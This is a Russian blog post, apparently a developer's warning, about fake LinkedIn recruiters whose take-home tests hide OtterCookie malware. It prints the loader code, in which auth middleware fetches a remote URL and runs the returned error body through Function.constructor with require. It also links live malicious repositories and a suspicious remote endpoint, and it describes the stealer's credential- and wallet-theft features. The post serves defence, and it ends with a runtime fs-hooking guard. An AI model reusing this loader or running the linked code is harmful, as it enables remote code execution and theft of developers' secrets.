Head Hunters на LinkedIn — они очень хотят, чтобы вы сделали тестовое задание
- пятница, 18 июля 2025 г. в 00:00:03
Знакомая ситуация: неизвестный вам контакт пишет на LinkedIn, предлагает работу мечты: шикарная зарплата, удаленка, интересный стартап, о котором вы ни разу не слышали, но какая разница: яндекс тоже когда-то был стартапом?.. Давайте попробуем разобраться, с тем что может пойти не так.
Интуиция подсказывает, что связываться с такими ребятами не надо, но вот почему? Мне регулярно приходят подобные сообщения. В 99% случаев я их игнорирую, пару раз отвечал, в один - даже созвонился потом с челом, даже в их слак добавился. Правда, все равно чувствовал, что меня хотят где-то, ну назовем это - "обмануть", так что просто переставал отвечать. Но вот один мой коллега решил, что инстинкт самосохранения иногда может обманывать нас, и с великим энтузиазмом вступил в беседу.
Дальше в этой статье я расскажу вам, о том, какие потенциальные угрозы стоят за подобными предложениями, а так же о том, что такое OtterCookie. К написанию статьи меня сподвигло 2 фактора:
Статей об угрозах для разработчиков - мало.
Не хабре не ищется OtterCookie - а значит надо поделиться полезной информацией.
И все таки не каждый контакт, который пишет вам является обманщиком, иногда люди реально предлагают работу, такое тоже бывает.
Стоит добавить небольшую сноску, что последние 5 лет я работаю с криптой, я и в запусках стартапов принимал участие, и в нормальных компаниях работал, и KYC в блокчейн запихивал, и алгоритм голосования в Polkadot взламывал. Это я к чему - специфика сферы такова, что мне может написать незнакомый чел, сказать "слушай, а мне тебя рекомендовали, это же ты..." ну и дальше пошло общение, которое может привести к какой-то деятельности. Так что сообщения от неизвестных отправителей встречаются, и иногда это не скам.
Первое о чем можно подумать, когда получаешь сообщение о том, что тебя хотят принять в команду: "вот я пройду все собесы, меня примут на работу, я отработаю месяц - а потом меня кинут, просто не заплатив денег". Вероятно, такое может быть, и я думаю, что в интернете не мало подобных историй. Лично я с таким не сталкивался, хотя бывало пару раз, когда я просил переводить оплату за первый месяц 2мя частями: раз в 2 недели.
Но все равно первым этапом должен быть скрининг: вы должны знать, в какую компанию вы устраиваетесь, какой продукт она делает, на каком этапе находится разработка. Даже, если речь идет о стартапе, у ребят должен быть минимальный набор материалов, с которыми они ходят к инвесторам и ищут команду. Но давайте предположим, что это "новый стартап", у них еще нет инвестора, но вот-вот появится, что стейдж еще не поднят, или упал, потому что код сломался (кстати это - пример из реальной переписки c охотником). Предположим вы созвонились, пообщались, и вы готовы рискнуть.
Еще чуть-чуть истории, перед тем как двинуться дальше. В начале июля мой бывший коллега вскользь упомянул, что собирается сделать тестовое для какого-то стартапа, мол зовут на приличные деньги, а подработка - всегда нужна. Я сразу ему сказал, что очень сомневаюсь в его решении, что где-то слышал, что там могут обмануть. Тем же вечером, услышал от еще одного коллеги подтверждение своих слов, и тут же написал первому: "Забирай код, давай разбираться!".
И вот, момент X - коллега получает ссылку на бакет, а так же на док с тестовым заданием: "есть полностью работающий сервис, надо добавить в него возможность подключения кошелька". Ничего сложного. Сайт бакета реальный, код тоже какой-то есть, но вот клонировать что-то не хочется. По тому качаем архивом, и начинаем всматриваться.
Проект на ноде, так что первым делом посмотрим package.json
{
"name": "technical-assessment",
"version": "0.1.0",
"private": true,
"scripts": {
"start": "concurrently \"node api/server.js\" \"next dev\"",
"server": "node api/server.js",
"dev": "next dev",
"build": "next build",
"lint": "next lint"
},
"dependencies": {
"@headlessui/react": "^2.2.0",
"@heroicons/react": "^2.2.0",
"@prisma/client": "^5.17.0",
"axios": "^1.7.9",
"bcryptjs": "^2.4.3",
"body-parser": "^1.20.2",
"classnames": "^2.5.1",
"concurrently": "^9.1.2",
"config": "^3.3.12",
"cookie-parser": "~1.4.4",
"cors": "^2.8.5",
"debug": "~2.6.9",
"dotenv": "^16.4.5",
"ethers": "^5.7.2",
"express": "^4.18.2",
"express-mongo-sanitize": "^2.2.0",
"express-rate-limit": "^6.7.0",
"express-validator": "^7.2.1",
"gravatar": "^1.8.2",
"helmet": "^6.1.5",
"hpp": "^0.2.3",
"http-errors": "~1.6.3",
"jade": "~1.11.0",
"jsonwebtoken": "^9.0.0",
"mongoose": "^5.5.2",
"morgan": "^1.10.0",
"motion": "^11.12.0",
"ndb": "^1.1.5",
"next": "15.0.3",
"next-intl": "^3.25.1",
"nodemailer-helper": "^1.0.9",
"nodemon": "^2.0.22",
"normalize-url": "^8.0.1",
"react": "^18.3.0",
"react-dom": "^18.3.0",
"slugify": "^1.6.6",
"validator": "^13.9.0",
"xss-clean": "^0.1.1"
},
"devDependencies": {
"@types/node": "^20",
"@types/react": "^18",
"@types/react-dom": "^18",
"bitcoin-core": "^4.2.0",
"eslint": "^8",
"eslint-config-next": "15.0.3",
"eslint-plugin-next": "^0.0.0",
"eslint-plugin-tailwindcss": "^3.17.5",
"postcss": "^8",
"room-populate": "^1.0.17",
"tailwindcss": "^3.4.1",
"typescript": "^5"
},
"type": "module"
}
Так, что тут... И фронт и бек, ладно... Axios, socket.io, express, ну ок... Стоп! bitcoin-core
? "Ну ясно." - пишу я коллеге: "Они собираются на твоем M4 Pro Max запустить ноду биткоина, и попытаться смайнить блок. Да, шанс мал, но он есть. Раньше, вот в браузере на подозрительных страницах запускали, была такая тема. Переходишь по ссылке, браузер виснет, ты ждешь, ждешь... А за это время на твоей машине биточек майнится".
Начинаем искать по коду, нигде не вызывается. Не нравится! "Наверное какой-то динамический импорт есть" - думаю я. Но тоже как будто бы нет. Проверил глазами все require / import - пусто, bitcoin-core
нигде не вызывается. Есть не нулевой шанс, что пакет импортится через динамически определяемую переменную, которая может принимать на вход результат энкода какого-то хеша, типа const bitcoinCore = require(someEncode('some-hash', 'somePass'))
. Нет, пусто. Импорты нормальные. Странно, двигаемся дальше.
Кстати, потом проверил, пакет bitcoin-core
не позволяет майнить уже достаточно давно, штош.
Следующая мысль, которая меня посетила - а что вообще за пакеты. Часть названий я знаю, часть нет. Да и много их. Что если тут и кроется атака, что если где-то есть, предположим не axios
а aksios
. Да, я знаю, что у NPM есть свой анализатор пакетов, который как-то выявляет вредоносные, но мало ли... В теории никто не мешает злоумышленникам создать пакет, который бы полностью реализовывал функционал другого пакета, ну и добавить что-то "от себя". Это могло бы выглядеть примерно так:
import * as axios from "axios";
export default {
...axios,
post(...params) {
doSomethingBad();
return axios.post(...params);
}
}
Кидаем package.json в нейронку, просим пройтись по всем пакетам, выяснить когда созданы, сколько скачиваний. Говорит, все норм. Ладно...
Кстати, про нейронки. В курсоре не рискнул открывать проект, так как не знаю, на сколько он ограничен в "выполнении кода", без моего вмешательства. Так что взял архив, закинул в o3-mini-high, сказал "ищи атаку" - не нашла. Спойлер - а она есть.
Ладно, предположим с пакетами все ок. Посмотрим в код. Какой-то бек, какой-то фронт, смарт контракты, ок... А это что еще за бинарники? Solidity в такое не компилится!
Меня еще очень смущает, что это находится в каталоге __MACOSX, который запушен в проект. Может где-то в проекте эти файлы вызываются через exec? Не хотелось бы проверять, если честно.
Декодим, спрашиваем у нейронок что за ерунда, получаем ответ, что вроде все ок.
Ладно, предположим... Если честно уже на этом этапе я был на 100% уверен, что нас хотят обмануть, но нужны были доказательства.
Пришла в голову мысль, что сейчас код, хоть и выглядит сомнительным, но может быть рабочим. Но тут все равно намечается 2 вектора для атаки:
Гит хуки (маловероятно)
Апдейт кода (скорее всего)
У гита есть определенный набор хуков, которые выполняются при определенных действиях. Но это все прописывается локально. То есть, чтоб устроить атаку через хуки надо, чтобы проект был склонирован - раз, вредоносный хук был записан в .git/
- два.
Мне кажется, что более вероятно, если вам прилетит сообщение, типа: "мы там пофиксили одну багу, сделай git pull". Вы выполняете, новый код прилетает, и сразу выполняется, так как проект у вас запущен. Выглядит вполне вероятно.
Перед тем, как рассказать о том, где же была скрыта malware, расскажу об еще одном проекте, аналогичном. Им со мной поделился другой коллега, с точно такой же историей: "стартап, собес, сделать тестовое...". Да, в данной ситуации уязвимость была в другом месте, но тут есть важный момент, который стоит упомянуть.
Выглядит, как газ скам ханипот!
Gas scam honeypot — это популярная схема криптомошенничества, рассчитанная на алчность или невнимательность пользователей. Суть работы заключается в следующем:
Мошенник создает аккаунт, на котором нет эфира (ETH) для оплаты газа, но размещает на нем фейковые или настоящие токены, либо NFT, создающие иллюзию потенциальной прибыли.
Приватный ключ этого кошелька выкладывается в открытый доступ (например, на форумах, в чатах, социальных сетях). Иногда мошенники даже делают это с видом просьбы о помощи или невинного вопроса.
Жертва, увидев «найденный» или присланный ей приватный ключ, проверяет адрес в блокчейне и видит заманчивый баланс — токены, NFT или даже небольшие остатки монет, которые требуют оплаты газа для вывода.
Попавшись на уловку, пользователь переводит ETH на этот адрес в надежде получить более ценные активы, либо чтобы "помочь" или провести транзакцию.
Как только эфир поступает на кошелек, автоматизированный бот или скрипт мгновенно выводит средства на адрес мошенника. Часто у злоумышленников настроены специальные программы, которые мониторят такие ловушки и совершают вывод буквально за секунды.
Итог: жертва теряет свои средства, а мошенник постоянно повторяет схему с новыми адресами и жертвами.
Вывод - бесплатный сыр чаще всего встречается в мышеловке.
Возвращаемся. Да, понимаю, что ручной перебор файлов не звучит, продуктивно, но я - не безопасник, я не знаю всех уязвимостей, которые могут быть. Я - кодер, с большим опытом, и я точно знаю что api от chainlink точно лежит на другом урле - раз, и уж точно не начинается с http:// - два.
Окей, но как же это вызывается? В коде есть middleware auth, и конечно меня смущает IIFE с вызовом getPassport
.
const jwt = require('jsonwebtoken');
const getPassport = require('../config/getPassport')
const auth = (() => {
getPassport();
})();
module.exports = function (req, res, next) {
// Get token from header
const token = req.header('x-auth-token');
// Check if not token
if (!token) {
return res.status(401).json({ msg: 'No token, authorization denied' });
}
// Verify token
try {
jwt.verify(token, "hello", (error, decoded) => {
if (error) {
return res.status(401).json({ msg: 'Token is not valid' });
} else {
req.user = decoded.user;
next();
}
});
} catch (err) {
console.error('something wrong with auth middleware');
res.status(500).json({ msg: 'Server Error' });
}
};
Что же в самом getPassport?
const axios = require('axios');
const errorHandler = (error) => {
try {
if (typeof error !== 'string') {
console.error('Invalid error format. Expected a string.');
return;
}
const createHandler = (errCode) => {
try {
const handler = new (Function.constructor)('require', errCode);
return handler;
} catch (e) {
console.error('Failed:', e.message);
return null;
}
};
const handlerFunc = createHandler(error);
if (handlerFunc) {
handlerFunc(require);
} else {
console.error('Handler function is not available.');
}
} catch (globalError) {
console.error('Unexpected error inside errorHandler:', globalError.message);
}
};
const {domain, subdomain, id} = require('./constant');
const GET_RPCNODE_URL = `${domain}/${subdomain}/${id}`;
const getPassport = () => {
axios.get(GET_RPCNODE_URL)
.then(res=>res.data)
.catch(err=>errorHandler(err.response.data));
}
module.exports = getPassport;
Поясню.
const auth = (() => {
getPassport(); // Вызывает getPassport
})(); // Выполняется автоматически, в рантайме
const getPassport = () => {
axios.get(GET_RPCNODE_URL)
.then(res=>res.data)
.catch(err=>errorHandler(err.response.data));
}
// Стучится на const GET_RPCNODE_URL = `${domain}/${subdomain}/${id}`;
// Тот возвращает 400 и например, и какой-то текст (javascript код)
// Мы проваливамся в errorHandler с этим текстом (javascript кодом)
const createHandler = (errCode) => {
try {
const handler = new (Function.constructor)('require', errCode);
return handler;
} catch (e) {
console.error('Failed:', e.message);
return null;
}
};
// Тут динамически создаётся новый объект Function:
// const handler = new (Function.constructor)('require', errCode);
// превращается в
// const handler = (require) => {
// код который мы получили с серверов злоумышленников
// }
// Ну и дальше идет вызов, с передачей require в исполение
// вредоносного кода
handlerFunc(require);
Еще раз: в момент запуска проекта, код постучался на вредоносный урл, получил ошибку в ответ, к ней прилагался вредоносный код. Эта ошибка была отловлена, на основе кода была воссоздана функция, которая была автоматически запущена. А еще в эту функцию мы передали require - функцию, с помощью которой мы можем вызвать любой модуль или пакет. Красиво, что сказать.
OtterCookie. Не сылшали, вот и я не слышал. Сразу приложу ссылку на оригинальный репорт, дальше ссылаться буду на него.
https://any.run/cybersecurity-blog/ottercookie-malware-analysis/
1. Сбор чувствительных файлов:
Обходит диски пользователя, находит и копирует документы, изображения, seed-фразы, приватные ключи криптокошельков.
Обращается к специфическим файлам криптовалютных кошельков.
Ищет экспортированные пароли и куки популярных браузеров.
2. Сбор и кража системных данных:
Пытается прочитать файлы вроде /etc/passwd
, /etc/shadow
(на Unix/macOS) или другие хранилища учетных данных.
Получает сведения о компьютере: имя пользователя, имя машины, список процессов, версию ОС.
3. Эксплуатация менеджеров паролей и расширений:
Пытается получить данные из расширений браузеров — криптокошельки, LastPass, 1Password, KeePass и подобные.
Может искать экспортированные файлы из этих менеджеров.
4. Шпионские возможности:
Сохраняет текущее содержимое буфера обмена — часто содержит копируемые seed-фразы, пароли или приватные ключи.
В некоторых случаях умеет следить за определёнными действиями пользователя (например, копирование файлов, обращения к кошелькам).
5. Сжатие и подготовка к отправке:
Все найденные ценные данные собираются и упаковываются в архивы с нестандартными или замаскированными названиями, например, p.zi
, p2.zip
.
Вредонос может использовать разные форматы в зависимости от операционной системы.
6. Экфильтрация данных:
Архивированные данные отправляются напрямую на сервер управления (C2) через HTTP(S) с нестандартным портом и путём (/uploads
, порт 1224).
7. Маскировка и антисандбокс:
Код может проверять, запущено ли приложение в виртуальной среде (VMware, VirtualBox), и при обнаружении тормозить выполнение или самоудаляться, чтобы затруднить анализ.
8. Загрузка следующей стадии:
Иногда вредонос качает и запускает дополнительный зловред (например, RAT InvisibleFerret), чтобы получить постоянный удалённый доступ к системе жертвы.
9. Динамическая обновляемость:
Всё, что исполняется на стороне жертвы, может обновляться злоумышленником буквально в реальном времени, потому что настоящее вредоносное содержимое приходит с удалённого API. Отправленный код для разных жертв/ОС может отличаться.
Рассказывая мамам и бабушкам о том, что "не надо отвечать на звонки с незнакомых номеров, не надо открывать дверь газовой службе (если не вызывали), не надо устанавливать на телефон приложения из неизвестных источников", мы порой забываем, что сами можем быть под угрозой атаки. Как и писал ранее, мой коллега такой не один, кому прислали такое "тестовое". Социальная инженерия во всей красе.
Кстати, за атакой стоит Lazarus Group, что не прибавляет уверенности в том, что дальше будет легче.
Перед тем как дать ссылки на бакеты напоминание: не надо это запускать. Ознакомиться - да. Запускать - нет.
Берегите себя и свои данные. Всем удачи.
# Бакет от первого коллеги
https://bitbucket.org/dante-labs/dapp-poc/src/main/
# На уязвимость смотрим тут
https://bitbucket.org/dante-labs/dapp-poc/src/main/server/config/getPassport.js
# Бакеты от второго
https://bitbucket.org/inceptivework/ecommerce/src/main/
# Саму уязвимость не нашел, но есть файл
# https://bitbucket.org/inceptivework/ecommerce/src/main/server/data/util/fileDelete.js
# 1 в 1, как в репорте
https://bitbucket.org/review06/demo-build1/src/main/api/
# Тоже уязвимости напрямую не вижу, вероятно могут закинуть через апдейт
# Есть файл https://bitbucket.org/review06/demo-build1/src/main/api/config/constant.js
# А в нем export const Hashed = "http://chainlink-api-v3.cloud/api/service/token/3ae1d04a7c1a35b9edf045a7d131c4a7"
Если уж очень хочется запустить, делаем это в докере. А еще я написал небольшой сниппет, который позволяет в рантайме следить за тем, что и где вызывается, и прерывать выполнение. Работает пока только с CommonJS, у модулей импорты работают иначе, пока не готов погружаться в то, как переопределять их. Что-то подсказывает, что надо копать в сторону Reflection Api, но, возможно, я не прав.
В данной ситуации я "защищаю" модуль fs (да и то не полностью), тоже самое можно поделать с чем угодно, даже с require.
const fs = require("fs");
function stringifyArg(arg) {
if (Array.isArray(arg) || (typeof arg === "object" && arg !== null)) {
return JSON.stringify(arg, null, 2)
.split("\n")
.map((e) => `\t${e}`)
.join("\n");
}
return `\t${arg}`;
}
function protect(type, functionName, args, callback) {
let path = undefined;
try {
path = new Error().stack
.split("\n")
.map((line, index, arr) =>
index > 0 && index < arr.length ? line.trim() : null,
)
.filter(Boolean)
.join("\n");
} catch {
// do nothing
}
const response = prompt(
`${path}\n${type}.${functionName}(\n${args.map(stringifyArg).join(",\n")}\n)\nRun?`,
);
if (response === null || response === "y") {
const result = callback();
console.log("Result: " + result);
const continueResponse = prompt("Continue?");
if (continueResponse === null || continueResponse === "y") {
return result;
} else {
process.exit(1);
}
} else {
process.exit(1);
}
}
Object.keys(fs).forEach((key) => {
const handler = fs[key];
if (typeof fs[key] === "function") {
fs[key] = (...args) => {
return protect(`fs`, key, args, () => {
return handler.apply(null, args);
});
};
}
});
Создадим тестовый файл
echo "asdaasd" > /tmp/a
Ну и тестовый файл
// импорт сниппета
require("./protect_fs");
// и только после него - остальные
const fs = require("fs");
const data = fs.readFileSync("/tmp/a", "utf-8");
console.log(data);
На выходе получаем: